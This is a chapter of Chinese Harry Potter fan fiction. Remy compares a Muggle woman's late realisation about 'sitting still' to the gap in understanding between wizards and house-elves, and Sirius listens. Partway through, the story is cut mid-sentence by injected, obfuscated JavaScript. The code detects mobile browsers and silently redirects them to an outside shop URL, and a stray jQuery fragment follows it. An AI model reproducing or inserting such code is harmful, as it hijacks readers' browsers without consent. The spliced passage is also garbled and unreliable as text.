48
雷米开始讲了。
“和巫师们十一岁上学、十七岁毕业找工作不一样。在没有魔法的人的社会里，小孩子都是六岁上学，一直上到十四五岁。”
“然后，如果还能通过统一考试，就能继续上中学，上到十七八岁，再然后考上大学，一直上到二十二三岁，再去社会上工作。”
“有一个年轻的女人，在毕业工作后，忽然有一天意识到一件事——其他人过去上学的时候，并不是上课要控制自己不乱动的，因为他们天生就没有这样的冲动。”
“她意识到，那些安静坐着的同学，不是像她一样需要忍耐才能坐住的，而是他们根本不需要忍耐。他们天生就能坐住。”
西里斯的眉毛又挑了一下，但没有打断。
雷米说：
“这个女人过去的理解是——老师批评那几个上课乱动的同学，她觉得这些同学太任性了，只顾着自己高兴，不愿意像其他人一样忍耐。老师表扬那些优等生坐得定，她的理解就是他们能忍耐，能不乱动。”
“这个女人觉得，老师不表扬自己上课不乱动是坐得定，是因为自己成绩差，如果成绩好，老师也会像表扬那些优等生一样表扬自己。”
“然后，她毕业工作后，忽然有一天反应过来——其实大多数人并不会有意忍耐。其实这个女人自己应该和那些上课乱动的人才是一类。”
雷米的声音在讲述的过程中一直很平，没有太大的起伏。说到这里时，他停顿了一下，然后继续说：
“这个女人当时的第一个反应是愤怒。她觉得自己被老师欺骗了。”
“但是她随后又觉得，这并不是老师的错。老师说的‘坐得定’，可能原意并不是她小时候理解的那个意思。”
“毕竟，老师和这个女人不一样，老师不需要忍耐——大多数人都是不需要忍耐的。老师也不知道这个女人需要忍耐，不知道这个女人在还是小女孩的时候，会把‘坐得定’理解成‘能忍耐着不动’。”
“老师不是故意骗人的，老师只是实话实说。只是因为这个女人打从生下来起，身体就和大多数人不一样，她听了老师的话才会自己理解偏了，理解的内容和大多数人都不同。”
西里斯的下巴还搁在胳膊上，眼睛一眨不眨地看着雷米。那种“你在说什么梦话”的神色褪去了一些，取而代之的是一种更专注的目光。
雷米继续说：
“然后，这个女人又同情起过去被老师批评的那些班上的同学了。”
“因为这个女人忽然想起，在很偶尔的情况下——差不多几个月甚至半年才有一次——她会忽然有一种很奇怪的感觉。”
“就像被电了一下，整个人会弹跳起来，浑身都在往上弹动。那种感觉有时候还会连续出现好几下。持续时间很短，几秒钟就过去了。”
“那时候，她虽然极力想控制自己，浑身使劲，想让自己不要动，但还是控制不了。”
“幸好这种情况只是很偶尔的，而且每次只持续几秒钟，所以她也不觉得有什么。”
“她同情地想，那些上课经常动的同学，可能是这样的情况出现得比她频繁多了，才会那样。”
“他们上课时，这种情况可能忽然发作了，然后他们虽然努力去控制自己了，但还是被老师骂——你为什么动来动去？他们觉得很委屈，很冤枉，被老师骂了，就大哭起来。”
“但是，她以前却误会了，然后在心里瞧不起这些同学。她觉得他们不会忍耐，明明是自己上课不遵守纪律，被老师骂了还不服气。她以为他们是心灵脆弱，承受不了批评。”
雷米看着西里斯。
西里斯看着雷米。
雷米继续说：
“这个女人从此以后就反应过来了。因为自己从小身体就和大多数人不一样——会忍不住地想动，会忽然不受控制地出现那种被电了的感觉——所以自己从小就要战胜那些大多数人根本就不会遇到的困难。”
“她还会错误地理解老师的话，因为她以为其他人的情况都是和自己一样的，都是忍耐住那种要动的冲动，所以才好好坐着的。所以就误以为‘坐得定’的意思是‘能忍耐着不动’。”
“实际上，大多数人根本就没有想要动的冲动。‘坐得定’这个词，在大多数人的心里，根本不是这个女人从小理解的那个意思。”
“老师是因为身体和大多数人一样，所以理所应当地以为坐在下面的孩子们听了自己的话，孩子们理解的意思和自己想要表达的意思，是一样的。”
“老师完全不知道，这个女人小时候理解的意思完全偏了——而且直到长大工作了，二十多岁，那么大了，有一天才忽然反应过来，老师当年不是那个意思。”
雷米说到这里，停了下来。
西里斯没有说话。他的眼睛微微眯着，像是在咀嚼雷米刚才说的每一个字。他没有打断，没有插嘴，没有露出那种“你在说什么乱七八糟的东西”的表情。他只是在听。
于是，雷米继续说：
“这种情况听起来很可笑。人们可能会觉得，为什么这个女人那么蠢，连这么简单的道理都要长到二十多岁才能明白。”
“但是，因为这个女人生来身体就和别人不一样，而且她不知道自己和别人身体不一样。她以为其他人和她是一模一样的。”
“同时，其他人也觉得‘坐得定’这么简单的事情，是天经地义就能理解的——就像糖是甜的，药是苦的一样显而易见——从来没有公开写出来解释过。”
“所以，大多数孩子在六七岁时就明白的道理，这个女人要到二十多岁、毕业工作了，才能明白过来。”
“在此之前，她一直理解的是一个歪了的道理。她是根据
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522583|202950||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己的身体情况去解释的，她以为别人想的和她一样。别人又觉得这是天经地义，从来没想过还有人是这样理解的。所以导致她一直想的和别人不一样，却不知道。”
壁炉里的火“啪”地炸了一下，一小团火星飞起来，在空中亮了一瞬，然后暗下去了。
然后，雷米对西里斯说：
“在没有魔法的世界里，同样是没有魔法的人，外貌上一模一样，都没有缺胳膊断腿，脑袋瓜也都正常，都会写字做算数。”
“但是，因为身体内部的微小不同，都会导致他们对世界上最理所当然的事情——‘坐得定’——的理解都千差万别。”
“在魔法界，家养小精灵的身体和巫师差异更大。因此，他们与巫师对世界的认知，一定更不可能完全相同。”
“在没有魔法的世界里，那个女人用了二十多年才明白大多数人眼里的‘坐得定’是什么意思，而在此之前，她一直活在一个完全不同的理解里，她自己却毫不知情。”
“在魔法界，家养小精灵在很久以前和巫师打仗，打输了，变成了奴隶。”
“他们的身体被魔法改造成了现在这种和巫师大相径庭的样子，还有各种各样的不由自主、情不自禁的行为——做错事了就撞墙，不为巫师服务就痛苦。”
“家养小精灵的身体和我们完全不同，所以他们对世界的认知就和我们完全不同。他们对世界的认知和我们完全不同，所以他们对事物的看法和我们也完全不同。这是可以理解的。”
“不是说我们可以理解他们的心灵为什么是这样，而是说，我们可以理解——他们的想法为什么会让我们觉得不可理喻。”
雷米说完了。
房间里安静了一会儿。
西里斯从椅子上直起身，把椅背放下来，四只椅腿稳稳地落在地板上。他的眉毛还微微皱着。他看着炉火，沉默了几秒，然后转过头来看着雷米。
“所以，”西里斯开口，“你现在是在替克利切说话？”
“我只是在说为什么不能互相理解。”雷米说。
“你举的例子很奇怪。”西里斯说。他的语气不是质疑，更像是陈述一样事实，“你为什么知道那个麻瓜女人的心里想的是什么？”
雷米看着他，没有马上回答。
西里斯的眼睛微微眯起来。他的手指在椅背上慢慢地敲了两下：“你难道对那个麻瓜女人摄魂取念了？”
雷米想：当然不是这样。我之所以知道，因为那就是我上辈子的故事。
但是，雷米当然不会把这件事告诉西里斯。雷米不会把这件事告诉任何人。
雷米看着西里斯。壁炉的光从侧面照在他的脸上，把他的一半脸染成了橘红色，另一半藏在阴影里。他的灰色眼睛在光影交界处变成了一种说不清的颜色。
雷米说：“你可以这样理解。”